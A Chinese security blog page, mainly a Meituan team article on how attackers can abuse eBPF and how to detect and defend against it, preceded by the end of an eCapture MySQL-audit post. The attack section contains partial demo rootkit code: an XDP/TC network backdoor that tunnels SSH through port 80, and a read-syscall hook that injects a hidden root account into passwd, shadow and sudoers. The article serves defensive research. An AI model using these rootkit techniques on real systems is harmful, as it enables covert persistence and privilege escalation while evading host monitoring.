21.04,mysqld也因为协议关系,使用了衍生的MariadDB,用户也可以根据自己实际场景,使用命令行参数进行指定。 mysqld模块,核心原理是HOOK了dispatch_command函数, 第一个参数为CMD类型,值为COM_QUERY时,为查询场景,即审计需求的查询类型。 第二个参数是THD的结构体,在这里我们用不到。 第三个是查询的SQL语句 第四个参数是SQL语句的长度, // https://github.com/MariaDB/server/blob/b5852ffbeebc3000982988383daeefb0549e058a/sql/sql_parse.h#L112 dispatch_command_return dispatch_command(enum enum_server_command command, THD *thd, char* packet, uint packet_length, bool blocking = true); mysqld审计模块参数如下: OPTIONS: -f, --funcname="" function name to hook -h, --help[=false] help for mysqld56 -m, --mysqld="/usr/sbin/mariadbd" mysqld binary file path, use to hook --offset=0 0x710410 其中,--mysqld是用来指定mysqld的路径。 mysqld二进制程序符号表里虽然有dispatch_command信息,但dispatch_command这个函数名每次编译都是变化的,故不能写死。 eCapture的查找方式是读取mysqld二进制的.dynamic段信息,正则语法\w+dispatch_command\w+去匹配所有符号信息,找到其函数名、偏移地址,再使用。 你也可以通过objdump命令来查找,再通过命令行参数自行指定funcname。 mariadbd version : 10.5.13-MariaDB-0ubuntu0.21.04.1 objdump -T /usr/sbin/mariadbd |grep dispatch_command 0000000000710410 g DF .text 0000000000002f35 Base _Z16dispatch_command19enum_server_commandP3THDPcjbb 即offset为0x710410,函数名为_Z16dispatch_command19enum_server_commandP3THDPcjbb。 使用 下载二进制包 eCapture发布在https://github.com/ehids/ecapture/releases ,目前最新版为eCapture v0.1.5。 可在linux kernel 4.18以上版本运行。 二进制包地址: https://github.com/ehids/ecapture/releases/download/v0.1.5/ecapture_v0.1.5.zip 国内加速地址: https://github.do/https://github.com/ehids/ecapture/releases/download/v0.1.5/ecapture_v0.1.5.zip 自行编译 代码仓库在https://github.com/ehids/ecapture ,你可以自行修改源码编译。 演示视频 腾讯视频: B站: https://www.bilibili.com/video/BV1si4y1Q74a Github仓库 2022-03-27 +3 7 0
Linux中基于eBPF的恶意利用与检测机制 首发 本文首发与【美团安全应急响应中心】微信公众号。 前言 近几年来,云原生领域飞速发展,k8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由,都给内核带来了新的挑战。 系统内核在面对复杂性不断增长,性能、可扩展性新需求的同时,还需要保障系统稳定可用,这是极其困难的事情。 eBPF出现,以较小的子系统改动,保障了系统内核的稳定。具备实时动态加载的特性,将业务逻辑加载到内核,实现热更新的动态执行。 eBPF技术的出现,衍生新业务场景的同时,也带来了安全威胁。 现状分析 在解决很多技术难题的同时,eBPF技术的出现也带来了新的恶意利用,从一些海外资料和国内资料中可以看到,目前关于eBPF技术恶意利用的现状如下所示: 海外资料 Black Hat 在Black Hat 2021的峰会中,Datadog工程师Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》 介绍了eBPF的恶意利用,如何构建一个rootkit,入侵者会如何利用。 并把代码放在https://github.com/Gui774ume/ebpfkit 上,包括检测防御代码。 DEFCON 在DEF CON29峰会上,安全研究员Pat Hogan也分享了一篇关于eBPF的恶意利用案例:《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》 ,介绍了eBFP rootkit的应用场景,包括网络、运行时等,以及如何检测eBPF的恶意利用等。代码在https://github.com/pathtofile/bad-bpf 。 国内资料 国内在eBPF恶意利用的资料较少,相关技术分享也少,它的危害没有得到国内同行的注意,势必影响到国内公司在网络安全防御体系的建设,导致落后于国外,给企业安全甚至国家安全带来较大风险。 笔者作为防御体系建设方,有责任带领大家更好的认识这种恶意利用,分享检测防御经验,加固网络安全产品,为国内信息安全建设贡献一份力。 eBPF技术恶意利用的攻击原理 知己知彼才能百战不殆,要想做好防御,必须要了解他的攻击原理,我们一起来看下他的rootkit是如何设计的,功能有哪些? 从eBPF的功能来看,提供了 网络 监控 观测 跟踪&性能分析 安全 等几个领域功能。 在网络领域,Cilium等云原生公司做了很多网络层的产品,在实现网格管理的同时,也做了响应的网络层面安全策略,尤其是网络编排领域,表现尤为亮眼,逐步代替iptables等产品,大有一统江山的趋势。 在监控、观测等领域也有很多产品。尤其是运行时安全领域,Datadog 、Falco、Google等公司,都推出了相应的产品。笔者在博客上也有过相关产品源码分析的分享。 我们回顾一下eBPF技术的hook点: 从图中可以看出,eBPF的hook点功能包括以下几部分 可以在Storage、Network等与内核交互之前; 也可以在内核中的功能模块交互之间; 又可以在内核态与用户态交互之间; 更可以在用户态进程空间。 eBPF的功能覆盖XDP、TC、probe、socket等,每个功能点都能实现内核态的篡改行为,从而使得用户态完全致盲,哪怕是基于内核模块的HIDS,一样无法感知这些行为。 笔者基于eBPF的功能函数,从业务场景来看,网络、监控、观测类的功能促进了云原生领域的产品发展;跟踪/性能分析、安全类功能,加快了安全防御、审计类产品演进;而安全领域的恶意利用,也会成为黑客关注的方向。在这里,笔者与大家探讨一下新的威胁与防御思路, 从数据流所处阶段来看,笔者划分为两部分,接下来一起来讨论恶意利用、风险危害与防御思路。 Linux网络层恶意利用 Linux系统运行时恶意利用 网络层恶意利用 以一个SSH、WEB服务的服务器为例,在IDC常见网络访问策略中,开放公网web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP,或者只开放内网端口访问。 假设这台服务器已经被黑客入侵,黑客需要留下一个后门,且需要一个隐藏、可靠的网络链路作为后门通道,那么在eBPF技术上,会如何实现呢? XDP/TC层修改TCP包 为了让后门隐藏的更好,最好是不开进程,不监听端口(当前部分我们只讨论网络层隐藏)。而eBPF技术在XDP、TC、socket等内核层的功能,能够实现流量信息修改,这些功能常被应用在L3、L4的网络负载均衡上。比如cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后,更改了TCP包的目标IP,系统内核再将该数据包转发出去。 按照XDP与TC在Linux内核中,处理ingress与egress的位置,可以更准确地确定hook点。 XDP的BPF_PROG_TYPE_XDP程序类型,可以丢弃、修改、重传来自ingress的流量,但无法对egress起作用。 TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP BPF_PROG_TYPE_XDP的功能外,还可以对egress起作用。 前者最常用的场景就是做网络防火墙,用于网络流量清洗,效率比传统防火墙的高很多。 后者常用于云原生场景下,容器、POD的网络监控、安全访问控制等。在这个例子中,要多进出流量都做调整,故两个hook点都需要有。 同样,在XDP等阶段的hook,在这里做相关包逻辑处理,能更好的将通讯包隐藏,tcpdump等工具都抓不到。 控制链路 在后门场景里,可以在同样的位置,像eBPF的负载均衡一样,修改目标端口,从web nginx 的80改为SSHD的22,就可以实现网络数据的透传,绕开防火墙以及网络访问限制。 认证密钥 由于后门rootkit是在XDP\TC层工作,为了尽可能的简单,认证密钥最好只使用链路层、网络层、传输层的数据,即MAC信息、IP五元组之类。IP经常变动,MAC地址大概率是唯一的,以及设定一个固定的端口,这样更加唯一,作为rootkit的认证密钥即可实现。(需要client发起连接时,指定客户端的TCP端口) eBPF uprobe与eBPF map联动 对于后门rootkit的密钥更新,利用eBPF也很好实现。比如,在nginx的场景中,uprobe实现hook http的函数,获取url参数中特定字符串,再将字符串保存到eBPF map里,就实现了密钥更新。 XDP/TC层的eBPF rootkit执行时,读取eBPF map里的密钥,进行比较运算。 实现流程 举个XDP处理ingress的例子 SEC("xdp/ingress") int xdp_ingress(struct xdp_md *ctx) { struct cursor c; struct pkt_ctx_t pkt; //判断是否为SSHD的协议,不是则直接放行 if (!(不是SSHD协议(&c))) { return XDP_PASS; } //判断rootkit是否匹配,网卡信息与来源端口是否匹配 hack_mac[] = "读取bpf map配置。" if(密钥不匹配) { return XDP_PASS; } // 读取map,是否已经存在该client信息 struct netinfo client_key = {}; __builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN); struct netinfo *client_value; client_value = bpf_map_lookup_elem(&ingress_client, &client_key); // 如果没找到伪装信息,则自己组装 if(!client_value) { __builtin_memset(&client_value, 0, sizeof(client_value)); } else { bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY); } // 伪装mac局域网mac信息 pkt.eth->h_source[0] = 0x00; ... // 替换伪装ip来源 ,客户端端口不变 // 更改目标端口 pkt.tcp->dest = htons(FACK_PORT); //22 //计算TCP SUM layer 4 ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum); pkt.tcp->check = csum; //写入已伪装的map,用于TC处理egress的原mac、IP信息还原。 return XDP_PASS; } 比较简单的demo,即可实现 ingtrss侧TCP数据包的伪装。同样,TC层处理egress方向的数据包时,只需要对伪装包的原始信息作还原即可。整个流程如下图: 这样,rootkit的通讯链路并不影响正常用户访问,也没有对原系统做改动,隐蔽性特别好。 视频演示 笔者准备了三台主机测试: 入侵者:cnxct-mt2,IP为172.16.71.1。 普通用户:vm-ubuntu,IP为172.16.71.3。 被入侵服务器:vm-server,IP为172.16.71.4。开放nginx web 80端口;开放SSHD 22端口,并设定iptables规则只允许内网IP访问。 危害 这个rootkit不主动创建socket,借用其中一个网络发送包,把消息送达给后门使用者。 对系统影响来说,只是一个不起眼的小网络响应。 在万千HTTP包里,根本定位不到。 iptables防火墙绕过 :利用对外开放的80端口作为通讯隧道; webIDS绕过:流量到达服务器后,并不传递给nginx; NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密; HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录? linux系统运行时恶意利用 云原生生态下,涌现大批基于eBPF技术实现的集群网络管理插件,比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署,且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。 这些服务的运行环境,也给攻击者留下一个完美的发挥空间。 实现流程 回顾eBPF的hook点,作用在syscall的kprobe、tracepoint事件类型,倘若用在后门rootkit场景,是十分可怕的。比如,修改内核态返回给用户态的数据,拦截阻断用户态行为等为所欲为。而更可怕的是,常见的HIDS都是基于内核态或者用户态做行为监控,这恰恰就绕开了大部分HIDS的监控,且不产生任何日志,简直细思极恐、不寒而栗。 tracepoint事件类型hook 在SSHD应用中,当用户登录时,会读取/etc/passwd等文件。用户态sshd程序,调用open、read等系统调用,让内核去硬件磁盘上检索数据,再返回数据给sshd进程。 用户态生成payload 用户态实现/etc/passwd、/etc/shadown等文件payload的生成,并通过eBPF的RewriteConstants机制,完成对elf .rodata的字段值替换。 import "github.com/ehids/ebpfmanager" // 通过elf的常量替换方式传递数据 func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor { var username = RandString(9) var password = RandString(9) var s = RandString(8) salt := []byte(fmt.Sprintf("$6$%s", s)) // use salt to hash user-supplied password c := sha512_crypt.New() hash, err := c.Generate([]byte(password), salt) var m = map[string]interface{}{} res := make([]byte, PAYLOAD_LEN) var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username) copy(res, payload) m["payload"] = res m["payload_len"] = uint32(len(payload)) // 生成passwd字符串 var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username) // 生成shadow字符串 var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash) // eBPF RewriteContants var editor = []manager.ConstantEditor{ { Name: "payload", Value: m["payload"], FailOnMissing: true, }, { Name: "payload_len", Value: m["payload_len"], FailOnMissing: true, }, } return editor } func (this *MBPFContainerEscape) setupManagers() { this.bpfManager = &manager.Manager{ Probes: []*manager.Probe{ { Section: "tracepoint/syscalls/sys_enter_openat", EbpfFuncName: "handle_openat_enter", AttachToFuncName: "sys_enter_openat", }, ... }, Maps: []*manager.Map{ { Name: "events", }, }, } this.bpfManagerOptions = manager.Options{ ... // 填充 RewriteContants 对应map ConstantEditors: this.constantEditor(), } } 内核态使用payload const volatile int payload_len = 0; ... const volatile char payload_shadow[MAX_PAYLOAD_LEN]; SEC("tracepoint/syscalls/sys_exit_read") int handle_read_exit(struct trace_event_raw_sys_exit *ctx) { // 判断是否为rootkit行为,是否需要加载payload ... long int read_size = ctx->ret; // 判断原buff长度是否小于payload if (read_size < payload_len) { return 0; } // 判断文件类型,匹配追加相应payload switch (pbuff_addr->file_type) { case FILE_TYPE_PASSWD: // 覆盖payload到buf,不足部分使用原buff内容 { bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr); for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) { if (i >= payload_passwd_len) { local_buff[i] = ' '; } else { local_buff[i] = payload_passwd[i]; } } } break; case FILE_TYPE_SHADOW: // 覆盖 shadow文件 ... break; case FILE_TYPE_SUDOERS: //覆盖sudoers ... break; default: return 0; break; } // 将payload内存写入到buffer ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN); // 发送事件到用户态 return 0; } 按照如上demo rootkit的设计,即完成了随机用户名密码的root账号添加。在鉴权认证上,也可以配合eBPF网络层恶意利用的demo,利用eBPF map交互,实现相应鉴权。 但rootkit本身并没有更改硬盘上文件,不产生风险行为。并且,只针对特定进程的做覆盖,隐蔽性更好。整个流程如下图: 不管是在物理机上,还是给了root+BPF权限的容器上,都一样生效。 视频演示 危害 云原生场景下,赋予SYS_ADMIN的权限的容器场景很多,若配合近期的JAVA log4j漏洞,直接击穿容器,拿到宿主机权限,是不是很可怕? 然而,比这可怕的是这种rootkit本身并没有产生用户态行为日志,也没有改文件,系统里查不到这个用户信息。整个后门行为不产生数据,让大部分HIDS失灵。 综述 从笔者演示的这两个场景可以来看,大家已经知道eBPF技术被恶意利用的危害。其实,这只是eBPF技术的冰山一角,在kproeb\uprobe上也有很多功能,比如实现进程隐藏,无痕内网扫描等等。相关恶意利用可参考Bad BPF - Warping reality using eBPF一文。 若入侵者精心设计rootkit,实现进程隐藏等,让rootkit更加隐蔽,按照本文的思路,实现一个幽灵般的后门,想想就让人后怕。 常规的主机安全防御产品一般用netlink linux kernel module等技术实现进程创建、网络通讯等行为感知,而eBPF的hook点可以比这些技术更加深,比他们执行更早,意味着常规HIDS并不能感知发现他们。 传统rootkit,采用hook api方法,替换原来函数,导致执行函数调用地址发生变化,已有成熟检测机制,eBPF hook不同于传统rootkit ,函数调用堆栈不变。这给检测带来很大的麻烦。 那面对这种后门,该如何检测防御呢? 检测防御 从事件发生的过程来看,分为三个阶段: 运行前 运行时 运行后 运行前 在恶意程序运行前,减少攻击面,这个思路是更古不变的。 环境限制 不管是宿主机还是容器,都进行权限收敛,能不赋予SYS_ADMIN、CAP_BPF等权限,就禁止掉。若一定要开放这个权限,那么只能放到运行时的检测环节了。 seccomp限制 在容器启动时,修改默认seccomp.json,禁止bpf系统调用,防止容器逃逸,注意此方法对于Privileged特权容器无效。 内核编译参数限制 修改函数返回值做运行时防护时,需要用到bpf_override_return,该函数需要内核开启CONFIG_BPF_KPROBE_PVERRIDE编译参数,因此非特殊情况不要开启该编译参数。 非特权用户指令 大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外,比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB这两个类型,就不需要root。但需要读取系统配置开关。 //https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240 if (type != BPF_PROG_TYPE_SOCKET_FILTER && type != BPF_PROG_TYPE_CGROUP_SKB && !bpf_capable()) return -EPERM; 开关确认 在/proc/sys/kernel/unprivileged_bpf_disabled里,可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for /proc/sys/kernel/ 值为0表示允许非特权用户调用bpf 值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改 值为2表示禁止非特权用户调用bpf,可以再次修改为0或1 特征检查 有人提议,在内核加载bpf字节码时,进行签名验证,以便达到只加载安全签名的bpf字节码。 lwn.net中也列出这个话题:BPF字节码签名计划 。 但很多人也提出 反对意见 ,认为bpf模块这几年的发展,过于抽象化,越来越复杂,不希望加入额外的功能,让bpf更加不稳定。而是改变思路,让字节码加载时签名,改为「执行bpf字节码加载的用户态程序进行签名」,这个是已有的内核功能,不会增加系统复杂性。 笔者认为,这确实可以缓解大部分bpf字节码加载的问题。但使用系统原生命令(tc\ip\bpftool等)加载的话,仍面临威胁。比如:ip link set dev ens33 xdp obj xdp-example_pass.o 运行检查 大部分eBPF程序在重启后不存在了,所以,入侵者会尽可能让后门自启动。对于linux系统的自启动、crontab等计划任务做好检查。 用户态程序可以以各种形式存在,ELF可执行文件、ELF so动态链接库都可以。在执行时,必定会调用BPF syscall来加载BPF 字节码。 若只是对可执行ELF做检测,还不够准确。 运行时 监控 linux系统中,所有的程序运行,都必须进行系统调用,eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。 并且,所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么,在这个必经之路进行拦截监控,是最好的方案。 SEC("tracepoint/syscalls/sys_enter_bpf") int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) { struct bpf_context_t *bpf_context = make_event(); if (!bpf_context) return 0; bpf_context->cmd = args->cmd; get_common_proc(&bpf_context->procinfo); send_event(args, bpf_context); return 0; } 这里,我们开源的ehids项目做了一个bpf syscall检测的例子,大家可以fork了解。仓库见https://github.com/ehids/ehids-agent 当然,细心的读者会有疑问,假如入侵者的后门执行比较早,对这个系统调用进行欺骗,那怎么办呢? 这是个好问题,我们放到运行后的溯源章节讨论。但对于大部分场景,HIDS防御产品还是可以做到第一时间启动的。 审计&筛查 上面我们讨论了对bpf系统调用进行监控,在云原生场景中,基于eBPF实现的网络产品会频繁调用,会产生大量的事件日志,给运营同学带来较大压力。对行为做精简、做精确筛选就成为接下来的目标。 根据程序白名单筛选 数据过滤,是解决大量数据压力的方案。在一些BPF应用的业务服务器上,本身业务行为会产生大量调用,会给安全预警带来较大审计压力。对于已知的进程,可以根据进程特征过滤。 获取当前进程PID、COMM等特征,根据用户态写入eBPF map的配置,决定是否上报、是否拦截。 也可以在用户态做过滤,但内核态效率更高。如果是做拦截,那必须要在内核态实现。 参考saBPF产品设计思路 ,用eBPF实现LSM HOOK点的钩子程序,完成相关审计调用。https://github.com/saBPF-project/sabpf-kernel 项目代码还只是demo,思路可以借鉴。 根据SYSCALL类型筛选 在BPF syscall里,子命令的功能包含MAP、PROG等多种类型的操作bpf() subcommand reference 里有详细的读写API。在实际的业务场景里,写的安全风险比读大。所以,我们可以过滤掉读操作,只上报、审计写操作。 比如: MAP的创建BPF_MAP_CREATE PROG加载BPF_PROG_LOAD BPF_OBJ_PIN BPF_PROG_ATTACH BPF_BTF_LOAD BPF_MAP_UPDATE_BATCH 尤其是有BPF需求的业务场景,可以更好的审计日志。 运行后 问个问题,eBPF用户态程序与内核态程序交互,加载bpf字节码后,能退出吗? 退出后,内核hook的bpf函数还工作吗?创建的map是否还存在? 后门程序为了保证更好的隐蔽性,会如何选择? 要回答这个问题,不得不提BPF程序的加载机制,BPF对象生命周期。 文件描述符与引用计数器 用户态程序通过文件描述符FD来访问BPF对象(progs、maps、调试信息),每个对象都有一个引用计数器。用户态打开、读取相应FD,对应计数器会增加。若FD关闭,引用计数器减少,当refcnt为0时,内核会释放BPF对象,那么这个BPF对象将不在工作。 在安全场景里,用户态的后门进程若退出后,后门的eBPF程序也随之退出。在做安全检查时,这可以作为一个有利特征,查看进程列表中是否包含可疑进程。 但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看,只需要保证refcnt大于0,就可以让BPF对象存活,让后门进程持续工作了。其实在BPF的程序类型中,像XDP、TC和基于CGROUP的钩子是全局的,不会因为用户态程序退出而退出。相应FD会由内核维护,保证refcnt计数器不为零,从而继续工作。 溯源 在安全工程师视角里,就需要根据不同场景作不同的溯源策略。笔者给的溯源方式中,都使用了eBPF的相关接口,意味着,如果恶意程序比检查工具运行的早,那么对于结果存在伪造的可能。 短生命周期 BPF程序类型代表 k[ret]probe u[ret]probe tracepoint raw_tracepoint perf_event socket filters so_reuseport 特点是基于FD管理,内核自动清理,对系统稳定性更好。这种程序类型的后门,在排查时特征明显,就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。 bpftool工具 eBPF程序列表 命令bpftool prog show,以及bpftool prog help查看更多参数。 结果中,可以看到当前系统正在运行的BPF程序、关联的BPF map ID,以及对应的进程信息等。 另外,细心的你可能发现,结果中,XDP数据中并没有进程ID信息,稍后讨论。 eBPF map列表 命令bpftool map show,以及bpftool map help查看更多参数。 通过查看map信息,可以与程序信息作辅助矫正。并且,可以导出map内数据用来识别恶意进程行为。这部分我们在取证章节讨论。 bpflist-bpfcc bpflist-bpfcc -vv命令可以看到当前服务器运行的部分BPF程序列表。以笔者测试环境为例 root@vmubuntu:/home/cfc4n/project/xdp# bpflist-bpfcc -vv open kprobes: open uprobes: PID COMM TYPE COUNT 1 systemd prog 8 10444 ehids map 4 10444 ehids prog 5 可以看到系统进程systemd启动了8个prog程序。ehids进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。 长生命周期: BPF程序类型代表 XDP TC LWT CGROUP 上面提到以ip命令加载bpf字节码的场景,常见BPF工具查询不到或信息缺失。其背后原因,需要从他的工作原理讲起。 ip命令加载bpf原理 BPF对象的生命周期使用引用计时器管理,这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间,之后再由内核空间维持。 以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o为例。 IP命令的参数中包含bpf字节码文件名,IP进程打开.o字节码的fd,通过NETLINK发IFLA_XDP类型消息(子类型IFLA_XDP_FD)给内核,内核调用dev_change_xdp_fd函数,由网卡接管FD,引用计数器递增,用户空间的IP进程退出后,BPF程序依旧工作。 内核源码见:https://elixir.bootlin.com/linux/v5.16.10/source/tools/lib/bpf/netlink.c#L237 笔者做了抓包验证,IP关联XDP程序类型: 17:53:22.553708 sendmsg(3, { msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[ { iov_base={ {nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, { {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } }, iov_len=52 } ], msg_iovlen=1, msg_controllen=0, msg_flags=0 }, 0) = 52 可以看到IFLA_XDP_FD后面的FD参数是6。同样,删除XDP程序,需要把FD设置为-1,对应NETLINK包构成如下: 17:55:16.306843 sendmsg(3, { ... {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } ... }, 0) = 52 不止IP命令,TC命令分类器 也是支持BPF程序,将BPF程序作为classifiers和 actions加载到 ingress/egress hook点。背后原理与IP类似,也是netlink协议与内核通讯,网卡维持BPF对象计数器。 检测机制 使用原生IP、TC等命令,查看网卡加载的BPF对象。 ip link show tc filter show dev [网卡名] [ingress|egress] 使用bpftool命令查看 bpftool net show dev ens33 -p命令可以用于查看网络相关的eBPF HOOK点。 CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK类型程序的加载情况都可以通过bpftool prog show查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图: BPFFS 除了前面提到的方法外,BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt引用计数器,来保持后台的活跃状态。使用时,只需要使用bpf_obj_get(“BPFFS path”)就可以获得BPF对象的FD。 BPFFS在linux的类型是BPF_FS_MAGIC,默认目录/sys/fs/bpf/,可自定义修改,但确保文件系统类型是unix.BPF_FS_MAGIC。 检测思路上,需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC类型。 在linux系统上,mount -t bpf来查看系统所有挂在的文件类型,是否包含BPFFS类型。 确定BPFFS的目录后,再查看目录下的挂在点是否存在异常。 取证 内核已加载的BPF对象导出 bpftool工具可以导出有FD ID的PROG、MAP。 BPF PROG程序 可以导出opcode\visual\linum等多种格式,并可以生成调用关系图。具体可以查看bpftool的帮助文件。 root@vmubuntu:/home/cfc4n# bpftool prog help bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }] bpftool prog dump jited PROG [{ file FILE | opcodes | linum }] BPF MAP 与PROG类似,也可以通过bpftool导出内容,并支持json格式化内容。 root@vmubuntu:/home/cfc4n# bpftool map dump id 20 [{ "value": { ".rodata": [{ "target_ppid": 0 },{ "uid": 0 },{ "payload_len": 38 ... BPFFS BPFFS类型的BPF对象,虽然可以更便捷的放到后台执行,用户空间程序可以退出,也可以再次读取,但这也给取证带来很大便利。bpftool命令也支持从pinned到BPFFS文件系统的路径里导出PROG、MAP。参与少有区别,详情见bpftool help。 内核未加载的BPF对象 当定位到后门rootkit的用户空间程序后,那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中,或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具,定位到相关字节流,导出即可。 以笔者演示视频中的ehids进程为例,使用https://github.com/ehids/ebpfmanager 纯GO的eBPF模块管理器package,对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata包对BPF字节码进行加载、GZIP压缩,作为go代码的变量,在部署时比较边界。 IDA pro加载时,我们可以在.noptrdata段部分看到这块代码,开始地址是0000000000827AE0,导出后再解压,可以还原原来的BPF ELF文件内容。 因为每个BPF用户态实现不同,类库也不一样,静态分析实践起来有难度。那可以模拟相同环境,动态运行,提前HOOK BPF SYSCALL,找到FD设置的地方,也是可以导出BPF的ELF文件。 字节码分析 BPF字节码本身也是ELF格式,只是格式指令上有一定区别。反编译工具IDA pro也能支持,国外安全工程师开源了一个python插件:eBPF IDA Proc ,以及整理了一篇分析的文章:Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool ,有兴趣可以读读。 防御 eBPF在网络安全场景的使用,除了做入侵检测外,还是可以用于防御。 LSM PROBE HOOK提供了相关功能。以容器逃逸场景为例,行为最明显的特征是父子进程的namespace不一致,子进程创建完成后,判断这个特征是否匹配,返回EPERM覆盖进程创建函数的返回值,从而起到防御的目的。相比内核模块等防御实现,eBPF实现更加安全、稳定、可靠,从而在源头上解决容器逃逸的问题。 同样,笔者认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。 LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size) { return -EPERM; } 在系统的配置上有一定要求,CONFIG_BPF_LSM=y,CONFIG_LSM配置内容,必须包含bpf等,详情可参考BCC类库Demo lsm probe 。 工程实现 练手 入门练手,可以尝试使用BCC的类库:https://github.com/iovisor/bcc ,以及C语言用户空间程序的各种Demo例子Demo BPF applications 。 类库选择 工程化时,对项目质量、稳定性、研发效率等都有要求,推荐cilium的纯go eBPF类库,由cilium官方背书可放心使用。datadog公司的agent产品也是用这个类库。 笔者的产品也是参考datadog,抽象包装了cilium的eBPF库,实现配置化便捷管理eBPF程序。github仓库:https://github.com/ehids/ebpfmanager ,欢迎使用。 当然,也可以使用libbpf包装的go类库实现,比如tracee等产品。 系统兼容性 CO-RE eBPF的出现极大的简化了编写内核态代码的门槛,极高的安全性,友好的加载方式,高效的数据交互,令eBPF深受追捧。然而和编写传统内核模块相同,内核态的功能开发伴随着繁冗的适配测试工作,Linux繁多的内核版本更是让适配这件事难度陡增, 这也就是BTF出现之前的很长一段时间里,bcc + clang + llvm被人们诟病的地方。 程序在运行的时候,才进行编译,目标机器还得安装clang llvm kernel-header等编译环境,同时编译也会消耗大量cpu资源,这在某些高负载机器上是不能被接受的。 因此BTF&CO-RE横空出现,BTF可以理解为一种debug符号描述方式,此前传统方式debug信息会非常巨大,linux内核一般会关闭debug符号,btf的出现解决了这一问题,大幅度减少debug信息的大小,使得生产场景内核携带debug信息成为可能。 可喜的是通过运用这项技术,可以帮助开发者节省大量适配精力,但是这项技术目前还是在开发中,还有许多处理不了的场景,比如结构体成员被迁入子结构体中,这时候还是需要手动解决问题,BTF的开发者也写了一篇文章,讲解不同场景的处理方案bpf-core-reference-guide 大型项目 在国外,云原生领域产品发展较快,涌现出一批批基于eBPF的产品,包括Cilium、datadog 、falco、Katran等,应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域,可以借鉴这些大型项目的研发经验,来加快产品建设,包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主,工程建设相关经验我们在以后的文章中分享。 总结 随着云原生快速发展,eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看,国外对这个方向的研究远比国内超前,笔者再次呼吁大家,网络安全产品应当尽快具备eBPF相关威胁检测能力。 这里,笔者跟大家探讨了基于eBPF技术的恶意利用与检测机制。在文章之初,提到eBPF在防御检测产品研发、工程建设等,我们将在下一篇跟大家分享,敬请期待。 作者简介 陈驰 : 2017年加入美团,目前主要负责IDC服务器的检测防御产品研发,完善服务器侧纵深防御体系建设。 杨一 : 2017年加入美团,目前主要负责HIDS主机安全产品研发工作。 胡鑫博 : 2021年加入美团,目前主要负责HIDS Agent的研发。 参考文献 Creating and Countering the Next Generation of Linux Rootkits: DEF CON 29 - PatH - Warping Reality: Creating and Countering the Next Generation of Linux Rootkits DEFCON 29 - eBPF, I thought we were friends: https://www.youtube.com/watch?v=5zixNDolLrg eBPF的各种技术应用PDF集合: https://github.com/ehids/slide Offensive BPF: Malicious bpftrace : 